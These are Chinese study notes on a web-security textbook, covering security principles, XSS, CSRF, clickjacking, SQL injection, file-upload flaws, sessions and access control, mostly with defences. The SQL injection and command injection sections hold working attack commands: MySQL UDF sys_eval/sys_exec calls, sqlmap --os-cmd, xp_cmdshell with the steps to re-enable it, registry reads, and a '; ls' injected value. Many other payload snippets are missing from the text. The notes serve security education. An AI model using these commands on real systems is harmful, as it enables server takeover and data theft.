只是笔记,详情请查阅吴翰清老师的《白帽子讲Web安全》
安全工程师的核心竞争力不在于他能拥有多少个0day,掌握多少中安全技术,而是在于他对安全理解的深度,以及由此引申的看待安全问题的角度和高度。
在此书中最可贵的不是那一个个工业化的解决方案,而是在解决这些问题时,背后的思考过程。我们不是要做一个能解决问题的方案,而是要做一个能够“漂亮的”解决问题的方案这是每一名优秀的安全工程师应有的追求。
安全问题的本质是信任问题
因为信任关系被破坏,从而产生了安全问题。我们可以通过信任域的划分、信任边界的确定,来发现问题是在何处产生的。
安全三要素是安全的基本组成元素,分别是机密性(Confidentiality)、完整性(Integrity)、可用性(Availability)。
机密性要求保护数据内容不能泄漏,加密是实现机密性的常见手段。
我们在选择方案时,需要灵活变通,因地制宜,没有一成不变的方案。
完整性则要求保护数据内容是完整的、没有被篡改的。常见的保证一致性的技术手段是数字签名。
可用性要求保护资源是“随需而得”。
拒绝服务攻击破坏的是安全的可用性。
互联网安全的核心问题,是数据的安全问题。
在安全领域里,我们把可能造成危害的来源称为威胁(Threat),而把可能会出现的损失称为风险(Risk)。
威胁分析就是把所有的威胁都找出来。
STRIDE是6个单词的首字母缩写,我们在分析威胁时,可以从以下6个方面去考虑。
在进行威胁分析时,要尽可能地不遗漏威胁,头脑风暴的过程可以确定攻击面。
风险分析
风险由以下因素组成:
R i s k = P r o b a b i l i t y ∗ D a m a g e P o t e n t i a l Risk = Probability * Damage Potential Risk=Probability∗DamagePotential
影响风险高低的因素,除了造成损失的大小外,还需要考虑到发生的可能性。
DREAD也是几个单词的首字母缩写,它指导我们应该从哪些方面去判断一个威胁的风险程度。
风险高低定义如下:
高危:12~15 中危:8~11 低危:0~7
安全评估的产出物,就是安全解决方案。
没有不安全的业务,只有不安全的实现方式。
一个优秀的安全方案应该具备以下特点:
在设计安全方案时,最基本最重要的原则就是“Secure By Default”。实际上,“Secure By Default”原则也可以归纳为白名单、黑名单思想。
最小权限原则
Secure By Default的另一层含义就是“最小权限原则”。最小权限原则也是安全设计的基本原则之一。最小权限原则要求系统只授予主体必要的权限,而不要过度授权,这样能有效减少系统、网络、应用、数据库出错的机会。
纵深防御包含两层含义:首先,要在各不同层面、不同方面实施安全方案,避免出现疏漏,不同方案之间需要互相配合,构成一个整体;其次,要在正确的地方做正确的事情,即:在解决根本问题的地方实施针对性的安全方案。
在常见的入侵案例中,大多数是利用Web应用漏洞,攻击者先获得一个低权限的webshell,然后通过低权限的webshell上传更多的文件,并尝试执行更高权限的系统命令,尝试在服务器上提升权限为root;接下来攻击者再进一步尝试渗透内网,比如数据库服务器所在网段。
就入侵的防御来说,我们需要考虑的可能有Web应用安全、OS系统安全、数据库安全、网络环境安全等。这些不同层面的安全方案,将共同组成整个防御体系,这也就是纵深防御的思想。
这一原则广泛适用于“注入”而引发的安全问题场景。
Secure By Default,是时刻要牢记的总则;纵深防御,是要更全面、更正确的看待问题;数据与代码分离,是从漏洞成因上看问题;不可预见性,是从克服攻击方法的角度看问题。
不可预测性,能有效的对抗基于篡改、伪造的攻击。
不可预见性的实现往往需要用到加密算法。
同源策略(Same Origin Policy)是一种约定,它是浏览器最核心也是最基本的安全功能。可以说web是构建在同源策略的基础之上的,浏览器只是针对同源策略的一种实现。
浏览器的同源策略,限制了来自不同源的“document”或脚本,对当前“document”读取或设置某些属性。
对于当前页面来说,页面内存放的JavaScript文件的域并不重要,重要的是加载JavaScript页面所在的域是什么。
在浏览器中,、
、
、
等标签都可以跨域加载资源,而不受同源策略的限制。这些带“src”属性的标签每次加载时,实际上是由浏览器发起了一次GET请求。不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读写返回的内容。
如果XMLHttpRequest能够跨域访问资源,则可能会导致一些敏感数据泄露,比如CSRF的Token,从而导致发生安全问题。
Sandbox即沙箱,计算机技术发展到今天,Sandbox已经成为泛指“资源隔离类模块”的代名词。Sandbox的设计目的一般是为了让不可信任的代码运行在一定的环境中,限制不可信任的代码访问隔离区之外的资源。如果一定要跨越Sandbox边界产生数据交换,则只能通过指定的数据通道,比如经过封装的API来完成,在这些API中会严格检查请求的合法性。
恶意网址拦截的原理很简单,一般都是浏览器周期性的从服务器端获取一份最新的恶意网址名单,如果用户上网时访问的网址存在于此黑名单中,浏览器就会弹出一个警告页面。
常见的恶意网址分为两类:一类是挂马网站,这些网站通常包含有恶意的脚本如JavaScript或flash,通过利用浏览器的漏洞(包括一些插件、控件漏洞)执行shellcode,在用户电脑中植入木马;另一类是钓鱼网站,通过模仿知名网站的相似页面来欺骗用户。
除了恶意网址黑名单拦截功能外,主流浏览器都开始支持EV SSL证书(Extended Validation SSL Certificate),以增强对安全网站的识别。
EVSSL证书是全球数字证书颁发机构与浏览器厂商一起打造的增强型证书,其主要特色是浏览器会给予EVSSL证书特殊待遇。
XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的。但是发起XSS Worm攻击也有一定的条件。
一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。
比如,发送站内信、用户留言等页面,都是XSS Worm的高发区,需要重点关注。而相对的,如果一个页面只能由用户个人查看,比如“用户个人资料设置”页面,因为缺乏用户之间互动的功能,所以即使存在XSS,也不能被用于XSS Worm的传播。
利用字符编码
绕过长度限制
最好的办法是把XSSPayload写到别处,再通过简短的代码加载这段XSS Payload。
需要特别注意的是,在有的技术文档中,提到
标签只能用于标签之内,其实这是不对的。
标签可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。所以在设计XSS安全方案时,一定要过滤掉这个非常危险的标签。
Anehta的回旋镖
回旋镖的思路就是:如果在B域上存在一个反射型“XSS_B”,在A域上存在一个存储型“XSS_A”,当用户访问A域上的“XSS_A”时,同时嵌入B域上的“XSS_B”,则可以达到在A域的XSS攻击B域用户的目的。
对于浏览器来说,htmlparser会优先于JavaScript Parser执行
浏览器所持有的Cookie分为两种:一种是“Session Cookie”,又称“临时Cookie”;另一种是“Third-party Cookie”,也称为“本地Cookie”。
两者的区别在于,Third-party Cookie是服务器在Set-Cookie时指定了Expire时间,只有到了Expire时间后Cookie才会失效,所以这种Cookie会保存在本地;而Session Cookie则没有指定Expire时间,所以浏览器关闭后,Session Cookie就失效了。
如果浏览器从一个域的页面中,要加载另一个域的资源,由于安全原因,某些浏览器会阻止Third-party Cookie的发送。
如果网站返回给浏览器的HTTP头中包含有P3P头,则在某种程度上来说,将允许浏览器发送第三方Cookie。在IE下即使是、
等标签也将不再拦截第三方Cookie的发送。
在网站的业务中,P3P头主要用于类似广告等需要跨域访问的页面。但是很遗憾的是,P3P头设置后,对于Cookie的影响将扩大到整个域中的所有页面,因为Cookie是以域和path为单位的,这并不符合“最小权限”原则。
验证码被认为是对抗CSRF攻击最简洁而有效的防御方法。
Referer Check在互联网中最常见的应用就是“防止图片盗链”。同理,Referer Check也可以被用于检查请求是否来自合法的“源”。
CSRF为什么能够攻击成功?其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。
出于这个原因,可以想到一个解决方案:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值。这是“不可预测性原则”的一种应用。
防御CSRF的Token,是根据“不可预测性原则”设计的方案,所以Token的生成一定要足够随机,需要使用安全的随机数生成器生成Token。
CSRF的Token仅仅用于对抗CSRF攻击,当网站还同时存在XSS漏洞时,这个方案就会变得无效,因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击下,攻击者完全可以请求页面后,读出页面内容里的Token值,然后再构造出一个合法的请求。这个过程可以称之为XSRF,和CSRF以示区分。XSS带来的问题,应该使用XSS的防御方案予以解决,否则CSRF的Token防御就是空中楼阁。安全防御的体系是相辅相成、缺一不可的。
点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。
通常可以写一段JavaScript代码,以禁止iframe的嵌套。这种方法叫frame busting。
斯坦福的Gustav Rydstedt等人总结了一篇关于“攻击frame busting”的paper:“Bustingframe busting: a study of clickjacking vulnerabilities at popular sites”,详细讲述了各种绕过frame busting的方法。
因为frame busting存在被绕过的可能,所以我们需要寻找其他更好的解决方案。一个比较好的方案是使用一个HTTP头——X-Frame-Options。X-Frame-Options可以说是为了解决ClickJacking而生的。
注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。
在SQL注入过程中,如果网站的Web服务器开启了错误回显,则会为攻击者提供极大的便利。错误回显披露了敏感信息,对于攻击者来说,构造SQL注入的语句就可以更加得心应手了。
最常见的盲注验证方法是,构造简单的条件语句,根据页面返回是否发生变化,来判断SQL语句是否得到执行。
在MySQL中,有一个BENCHMARK()函数,它是用来测试函数性能的。它有两个参数
BENCHMARK(count,expr)
就将ENCODE(‘hello’,‘goodbye’)执行了1000000次,共用时4.74秒
利用BENCHMARK()
函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。
攻击者接下来要实施的就是利用Timing Attack完成这次攻击,这是一个需要等待的过程。比如构造的攻击参数的ID为:
这段Payload判断库名的第一个字母是否为CHAR(119),即小写w。如果判断结果为真,则会通过函数BENCHMARK()造成较长延迟;如果不为真则该语句很快执行完。攻击者遍历所有字母,直到将整个数据库名全部严重完成为止。
如果当前数据库用户(current_user)具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入web目录中,攻击者就有可能下载这些文件:
此外,通过Dump文件的方法,还可以写入一个webshell:
SQL注入可以猜解出数据库对应的版本,比如下面这段Payload,如果MySQL版本是4,则会返回TRUE:
下面这段Payload,则是利用union select 来分别确认表名admin是否存在,列名passwd是否存在:
进一步,想要猜解出username和password的值,可以通过判断字符的范围,一步步读出来:
在注入攻击过程中,常常会用到一些读取文件的技巧。比如在MySQL中,就可以通过LOAD_FILE()读取系统文件,并通过INTO DUMPFILE写入本地文件。当然,这要求当前数据库用户有读写系统相应的文件或目录的权限。
如果要将文件读出后,再返回结果给攻击者,则可以使用下面这个技巧:
这需要当前数据库用户有创建表的权限。首先通过LOAD_FILE()
将系统文件读出,再通过INTO DUMPFILE
将该文件写入系统中,然后通过LOAD DATA INFILE
将文件导入创建的表中,最后就可以通过一般的注入技巧直接操作数据表了。
除了可以使用INTO DUMPFILE
外,还可以使用INTO OUTFILE
,两者的区别是DUMPFILE适用于二进制文件,会将目标文件写入同一行内;而OUTFILE
则更适用于文本文件。
写入文件的技巧,经常被用于导出一个webshell,为攻击者进一步攻击做铺垫。因此在设计数据库安全方案时,可以禁止普通数据库用户具备操作文件的权限。
7.2.2 命令执行
在MySQL中,除了可以通过导出webshell间接的执行命令外,还可以利用“用户自定义函数”的技巧,即UDF(User-Defined Functions)来执行命令。
在流行的数据库中,一般都支持从本地文件系统中导入一个共享库文件作为自定义函数。使用如下语法可以创建UDF:
CREATE FUNCTION f_name RETURNS INTEGER SONAME shared_library
在攻击过程中,将lib_mysqludf_sys.so
上传到数据库能访问到的路径下。在创建UDF后,就可以使用sys_eval()
等函数执行系统命令了。
$ wget --no-check-certificate
https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz
$ tar xfz lib_mysqludf_sys_0.0.3.tar.gz
$ cd lib_mysqludf_sys_0.0.3
$ sudo ./install.sh
Compiling the MySQL UDF
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o
/usr/lib/lib_mysqludf_sys.so
MySQL UDF compiled successfully
Please provide your MySQL root password
Enter password:
MySQL UDF installed successfully
$ mysql -u root -p mysql
Enter password:
[...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
1 row in set (0.02 sec)
mysql> SELECT sys_exec('touch /tmp/test_mysql');
+-----------------------------------+
| sys_exec('touch /tmp/test_mysql') |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.02 sec)
mysql> exit
Bye
$ ls -l /tmp/test_mysql
-rw-rw----1 mysql mysql 02009-01-16 23∶18/tmp/test mysql
自动化工具SQLMap已经集成了此功能。
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1
一般来说,在数据库中执行系统命令,要求具有较高权限。在数据库加固时,可以参阅官方文档给出的安全指导文档。
在建立数据库账户时应该遵循“最小权限原则”,尽量避免给web应用使用数据库的管理员权限。
存储过程为数据库提供了强大的功能,它与UDF很像,但存储过程必须使用CALL或者EXECUTE来执行。在注入攻击的过程中,存储过程将为攻击者提供很大的便利。
在MS SQL Server中,存储过程“xp_cmdshell”可谓臭名昭著了,无数黑客教程在讲到注入SQL Server时都使用它执行系统命令:
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping'
xp_cmdshell在SQL Server 2000中是默认开启的,但在SQL Server 2005以及之后的版本中被默认禁止了。但如果当前数据库用户拥有sysadmin权限,则可以使用sp_configure(SQL Server 2005与SQL Server 2008)重新开启它;如果在SQL Server 2000中禁用了xp_cmdshell,可以使用sp_addextendedproc开启它。
EXEC sp_configure 'show advanced options',1
RECONFIGRE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGRE
除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的。比如xp_regread可以操作注册表:
EXEC xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters','nullsessionshares'
EXEC xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\paramenters\validcommunitites'
可以操作注册表的存储过程还有:
(EXEC master..xp_servicecontrol 'start','schedule'
EXEC master..xp_servicecontrol 'start','server')
除了利用存储过程直接攻击外,存储过程本身也可能会存在注入漏洞。
注入攻击常常会用到单引号“ ’ ”,双引号“ " ”等特殊字符。在应用中,开发者为了安全,经常会使用转义字符“\”来转义这些特殊字符。但当数据库使用了“宽字符集”时,可能会产生一些意想不到的漏洞。
要解决这种问题,需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。
基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。解决方法就是在HTML页面中的标签中指定当前页面的charset。
如果因为种种原因无法统一字符编码,则需要单独实现一个用于过滤或转义的安全函数,在其中要考虑到字符的可能范围。
根据系统所使用的不同字符集来限制用户输入数据的字符允许范围,以实现安全过滤。
在MySQL的配置选项中,有一个sql_mode选项。当MySQL的sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时,MySQL对于用户插入的超长值只会提示warning,而不是error(如果说error则插入不成功),这可能会导致发生一些“截断”问题。
测试过程如下:
首先开启strict模式。
sql-mode="STRICT_TRANS_TABLES, NO_AUTO_CREATE_USER, NO_ENGINE_SUBSTITUTION"
在strict模式下,因为输入长度超出了长度限制,因此数据库返回一个error信息,同时数据插入不成功。
mysql> create table 'truncated_test'
(
-> `id` int(11) NOT NULL auto_increment,
-> `username` varchar(10) default NULL,
-> `password` varchar(10) default NULL,
-> PRIMARY KEY ('id')
-> )DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.08 sec)
mysql> select * from truncated_test;
Empty set (0.00 sec)
mysql> show columns from truncated_test;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| username | varchar(10) | YES | | NULL | |
| password | varchar(10) | YES | | NULL | |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)
mysql> insert into truncated_test('username', 'password') values("admin", "pass");
Query OK, 1 row affected (0.03 sec)
mysql> select * from truncated_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | pass |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> insert into truncated_test('username', 'password') values("admin x",
"new_pass");
ERROR 1406 (22001): Data too long for column 'username' at row 1
mysql> select * from truncated_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | pass |
+----+----------+----------+
1 row in set (0.00 sec)
当关闭了strict时:
sql-mode="NO_AUTO_CREATE_USER, NO_ENGINE_SUBSTITUTION"
数据库只返回一个warning信息,但数据插入成功。
mysql> select * from truncated_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | pass |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> insert into truncated_test('username', 'password') values("admin x",
-> "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)
mysql>
一般来说,防御SQL注入的最佳方式,就是使用预编译语句,绑定变量。
除了使用预编译外,还可以使用安全的存储过程对抗SQL注入。使用存储过程的效果和使用预编译类似,其区别是就存储过程先将SQL语句定义在数据库中。但要注意的是,存储过程中也可能存在注入问题,因此应该尽量避免在存储过程中使用动态SQL语句。如果无法避免,则应该使用严格的输入过滤或者编码函数来处理用户的输入数据。
代码注入与命令注入往往都是由一些不安全的函数或者方法引起的,其中的典型代表就是eval()
。
存在代码注入漏洞的地方,与“后门”没有区别。
在Java中也可以实施代码注入,比如利用Java的脚本引擎。
PHP、JSP的动态include(文件包含漏洞)导致的代码执行,都可以算一种代码注入。
代码注入多见于脚本语言,有时候代码注入可以造成命令注入。比如:
php
$varerror = system('cat '.$_GET['pageid'],$valoretorno);
echo $varerror;
?>
就是一个典型的命令注入,攻击者可以利用system函数执行他想要执行的系统命令。
valnerable.php?pageid=loquesea; ls
下面是C语言中一个命令注入的例子。
#include
#include
int main(int argc,char * *argv)
{
char cat[] = "cat";
char *command;
size_t commandLength;
commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command,argv[1],(commandLength - strlen(cat)));
system(command);
return (0);
}
system()
函数在执行时,缺乏必要的安全检查,攻击者可以由此注入额外的命令。正常执行时:
对抗代码注入、命令注入时,需要禁用eval()
、system()
等可以执行命令的函数。如果一定要使用这些函数,则需要对用户的输入数据进行处理。此外,在PHP/JSP中避免动态include远程文件,或者安全的处理它。
代码注入往往是由于不安全的编码习惯造成的,危险函数应该尽量避免在开发中使用,可以在开发规范中明确指出哪些函数是禁止使用的。
CRLF实际上是两个字符:CR是Carriage Return(ASCII 13,\r),LF是Line Feed(ASCII 10,\n)。\r\n这两个字符是用于表示换行的,其十六进制编码分别为0x0d、0x0a。
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
文件上传后导致的常见安全问题一般有:
在大多数情况下,文件上传漏洞一般都是指“上传Web脚本能够被服务器解析”的问题,也就是通常所说的webshell的问题。要完成这个攻击,要满足如下几个条件:
由于FCKEditor一般作为第三方应用集成到网站中的,因此文件上传的目录一般默认都会被Web容器所解析,很容易形成文件上传漏洞。很多开发者在使用FCKEditor时,可能都不知道它存在一个文件上传功能,如果不是特别需要,建议删除FCKEditor的文件上传代码,一般情况下也用不到它。
在针对文件上传的检查中,很多应用都是通过判断文件名后缀名的方法来验证文件的安全性。但是在某些时候,如果攻击者手动修改了上传过程的POST包,在文件名后添加一个%00字节,则可以截断某些函数对文件名的判断。比如应用原本只允许上传JPG图片,那么可以通过构造文件名(需要修改POST包)为xxx.php[\0]JPG,其中[\0]为十六进制的0x00字符,JPG绕过了应用的上传文件类型判断;但对于服务器端来说,此文件因为0字节截断的关系,最终会变成xxx.php。
除了正常的检查文件名后缀的方法外,有的应用,还会通过判断上传文件的文件头来验证文件的类型。比如一个JPG文件,其文件头是:
在正常情况下,通过判断前10个字节,基本就能判断出一个文件的真实类型。
浏览器的MIME Sniff功能实际上也是通过读取文件的前256个字节,来判断文件类型的。
因此,为了绕过应用中类似MIME Sniff的功能,常见的攻击技巧是伪造一个合法的文件头,而将真实的PHP等脚本代码附在合法的文件头之后,比如:
但此时,仍需要通过PHP来解释此图片文件才行。
在文件上传漏洞的利用过程中,攻击者发现一些和Web Server本身特性相关的功能,如果加以利用,就会变成威力巨大的武器。着往往是应用的开发者没有深入理解Web Server的细节所导致的。
在Apache 1.x、2.x中,对文件名的解析存在以下特性。
Apache对于文件名的解析是从后往前解析的,直到遇见一个Apache认识的文件类型为止。比如:
因为Apache不认识.rar这个文件类型,所以会一直遍历后缀到.php,然后认为这是一个PHP类型的文件。那么Apache怎么知道哪些文件是它认识的呢?这些文件类型定义在Apache中的mime.types文件中。
IIS 6处理文件解析时,也出现过一些漏洞。前面提到的0x00截断文件名,IIS和Windows环境下曾出过非常类似的漏洞,不过截断字符变成了分号“;”。
除此漏洞外,在IIS 6中还曾出现过一个漏洞——因为处理文件夹扩展名出错,导致将/*.asp/目录下的所有文件都作为ASP文件进行解析。比如:
注意这两个IIS漏洞,是需要在服务器本地硬盘上确实存在这样的文件或文件夹,若只是通过web应用映射出来的URL,是无法触发的。
在IIS中,如果目录支持写权限,同时开启了WebDAV,则会支持PUT方法,再结合MOVE方法,就能够将原本只允许上传文本文件改写为脚本文件,从而执行webshell。MOVE能否执行成功,取决于IIS服务器是否勾选了“脚本资源访问”复选框。
一般要实施此攻击过程,攻击者应该先通过OPTIONS方法探测服务器支持的HTTP方法类型,如果支持PUT,则使用PUT上传一个指定的文本文件,最后再通过MOVE改写为脚本文件。
第一步:通过OPTIONS探测服务器信息。
修改成功。
国内安全研究者zwell曾经写过一个自动化的扫描工具“IIS PUT Scanner”,以帮助检测此类问题。
从攻击原理看,PUT方法造成的安全漏洞,都是由于服务器配置不当造成的。WebDAV给管理员带来了很多方便,但如果不能了解安全的风险和细节,则等于向黑客敞开了大门。
此漏洞与Nginx本身关系不大,Nginx只是作为一个代理把请求转发给fastcgi Server,PHP在后端处理这一切。因此在其他的fastcgi环境下,PHP也存在此问题,只是使用Nginx作为Web Server时,一般使用fastcgi的方式调用脚本解析器,这种使用方式最常见。
这个问题的外在表现是,当访问
时,会将test.jpg当做PHP进行解析。notexist.php是不存在的文件。
注:Nginx的参考配置如下。
出现这个漏洞的原因与“在fastcgi方式下,PHP获取环境变量的方式”有关。PHP配置文件中有一个关键的选项:cgi.fix_pathinfo,这个选项默认是开启的:
在映射URI时,两个环境变量很重要:一个是PATH_INFO,一个是SCRIPT_FILENAME。在上面的例子中:
这个选项为1时,将递归查询路径确认文件的合法性。notexist.php是不存在的,所以往前递归查询路径,此时触发的逻辑是:
这个往前递归的功能原本是想解决/info.php/test
这种URL,能够正确的解析到info.php
上。此时SCRIPT_FILENAME
需要检查文件是否存在,所以会是/path/test.jpg。而PATH_INFO此时还是notexist.php,在最终执行时,test.jpg会被当做PHP进行解析。
PHP官方给出的建议是将cgi.fix_pathinfo
设置为0。
钓鱼网站在传播时,会通过利用XSS、服务器端302跳转等功能,从正常的网站跳转到钓鱼网站。
如下是一个利用服务器端302跳转功能的钓鱼URL:
这种钓鱼仍然会在URL中暴漏真实的钓鱼网站地址。
利用文件上传功能,钓鱼者可以先将包含了HTML的文件(比如一张图片)上传到目标网站,然后通过传播这个文件的URL进行钓鱼,则URL中不会出现钓鱼地址,更具有欺骗性。
比如下面这张图片:
其中,png是伪造的文件头,用于绕过上传时的文件类型检查;接下来就是一段脚本,如果被执行,将控制浏览器跳向指定的网站,在此是一个钓鱼网站。
在正常情况下,浏览器是不会将jpg文件当做HTML执行的,但在低版本的IE中,比如IE 6和IE 7,包括IE 8的兼容模式,浏览器都会“自作聪明”地将此文件当做HTML执行。直到IE 8中有了增强的MIME Sniff,才有所缓解。
1. 文件上传的目录设置为不可执行
只要web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。在实际应用中,很多大型网站的上传应用,文件上传后会放到独立的存储上,做静态文件处理,一方面方便使用缓存加速,降低性能损耗;另一方面也杜绝了脚本执行的可能。
2.判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单的方式,黑名单的方式已经被无数次证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能存在的HTML代码。
3.使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用使用随机数改写了文件名和路径,将极大的增加攻击的成本。与此同时,像shell.php.rar.rar这种文件,或者是corssdomain.xml这种文件,都将因为文件名被改写而无法成功实施攻击。
4.单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效。
认证的目的是认出用户是谁,而授权的目的是为了决定用户能够做什么。
认证实际上是一个验真凭证的过程。
目前并没有一个标准的密码策略,但是根据OWASP推荐的一些最佳实践,我们可以对密码策略稍作总结。
密码长度方面:
密码必须以不可逆的加密算法,或者单向散列函数算法,加密后存储在数据库中。
目前黑客们广泛使用的一种破解MD5后密码的方法是“彩虹表”。为了避免密码哈希值泄漏后,黑客能够直接通过彩虹表查询出密码明文,在计算密码明文的哈希值时,增加一个“Salt”。“Salt”是一个字符串,它的作用是为了增强明文的复杂度,并能使得彩虹表一类的攻击失效。
Salt的使用如下:
其中,Salt=abcajkjji…(随机字符串)。
Salt应该保存在服务器端的配置文件中,并妥善保管。
比如支付宝就提供很多种不同的认证手段,除了支付密码外,手机动态口令、数字证书、宝令、支付盾、第三方证书等都可以用于用户认证。
多因素认证提高了攻击门槛。比如一个支付交易使用了密码和数字证书双因素认证,成功完成该交易必须满足两个条件:一是密码正确;二是进行支付的电脑必须安装了改用户的数字证书。因此,为了成功实施攻击,黑客们除了盗取密码外,还不得不想办法在用户电脑上完成支付,这样就大大提高了攻击成本。
Session劫持就是通过窃取用户的SessionID后,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效SessionID。如果SessionID是保存在Cookie中,则这种攻击可以称为Cookie攻击。
Cookie泄漏的途径有很多,最常见的有XSS攻击、网络Sniff,以及本地木马窃取。对于通过XSS漏洞窃取Cookie的攻击,通过给Cookie标记httponly,可以有效的缓解XSS窃取Cookie的问题。但是其他的泄漏途径,比如网络被嗅探,或者Cookie文件被窃取,则会涉及客户端的环境安全,需要从客户端着手解决。
什么是Session Fixation呢?举一个形象的例子,假设A有一辆汽车,A把汽车卖给了B,但是A并没有把所有的车钥匙交给B,自己还藏下一把。这时如果B没有给车换锁的话,A仍然时可以用藏下的钥匙使用汽车的。
这个没有“换锁”而导致的安全问题,就是Session Fixation问题。
解决Session Fixation的正确做法是,在登录完成后,重写SessionID。
通过不停的发起访问请求,让Session一直“活”下去。
想要使Cookie不失效,还有更简单的方法。
在web开发中,网站访问量如果比较大,维护Session可能会给网站带来巨大负担。因此,有一种做法,就是服务器端不维护Session,而把Session放在Cookie中加密保存。当浏览器访问网站时,会自动带上Cookie,服务器端只需要解密Cookie即可得到当前用户的Session了。这样的Session如何使其过期呢?很多应用都是利用Cookie的Expire标签来控制Session的失效时间,这就给了攻击者可乘之机。
Cookie的Expire时间完全可以由客户端控制。篡改这个时间,并使其永久有效,就有可能获得一个永久的Session,而服务器端是完全无法察觉的。
以下代码由JavaScript实现,在XSS攻击后将Cookie设置为永不过期。
攻击者甚至可以为Session Cookie增加一个Expire时间,使得原本浏览器关闭就会失效的Cookie持久化的保存在本地,变成一个第三方Cookie。
如何对抗这种Session保持攻击呢?
常见的做法是在一定时间后,强制销毁Session。这个时间可以从登录的时间算起,设定一个阈值,比如3天后就强制Session过期。但强制销毁Session可能会影响到正常的用户,还可以选择的方法是当用户客户端发生变化时,要求用户重新登录。比如用户的IP、UserAgent等信息发生了变化,就可以强制销毁当前的Session,并要求用户重新登录。
最后,还需要考虑的是同一用户可以同时拥有几个有效Session。若每个用户只允许拥有一个有效Session,则攻击者想要一直保持一个Session也是不太可能的。
单点登录希望用户只需要登录一次,就可以访问所有的系统。
SSO的优点在于风险集中化,就只需要保护好这一点。
某个个体(subject)对某个个体(object)需要实施某种操作(operation),而系统对这种操作的限制就是权限控制。
在安全系统中,确定主体的身份是“认证”解决的问题;而客体是一种资源,是主体发起的请求的对象。在主体对客体操作的过程中,系统主体不能“无限制”的对客体进行操作,这个过程就是“访问控制”。
在web应用中,根据访问客体的不同,常见的访问控制可以分为“基于URL的访问控制”、“基于方法的访问控制”和基于数据的访问控制。
访问控制实际上是建立用户与权限之间的对应关系,现在应用广泛的一种方法,就是“基于角色的访问控制(Role-Based Access Control)”,简称RBAC。
RBAC事先会在系统中定义出不同的角色,不同的角色拥有不同的权限,一个角色实际上就是一个权限的集合。而系统的所有用户都会被分配到不同的角色中,一个用户可能拥有多个角色,角色之间有高低之分(权限高低)。在系统验证权限时,只需要验证用户所属的角色,然后就可以根据该角色所拥有的权限进行授权了。
Spring Security中的权限管理,就是RBAC模型的一个实现。
在配置权限时,应当使用“最小权限原则”,并使用“默认拒绝”的策略,只对有需要的主体单独配置“允许”的策略。这在很多时候能够避免发生“越权访问”。
相对于垂直权限管理来说,水平权限问题出现在同一个角色上。系统只验证了能访问数据的角色,既没有对角色内的用户做细分,也没有对数据的子集做细分,因此缺乏一个用户到数据之间的对应关系。由于水平权限管理是系统缺乏一个数据级的访问控制所造成的,因此水平权限管理又可以称之为“基于数据的访问控制”。
OAuth是一个在不提供用户名和密码的情况下,授权第三方应用访问web资源的安全协议。
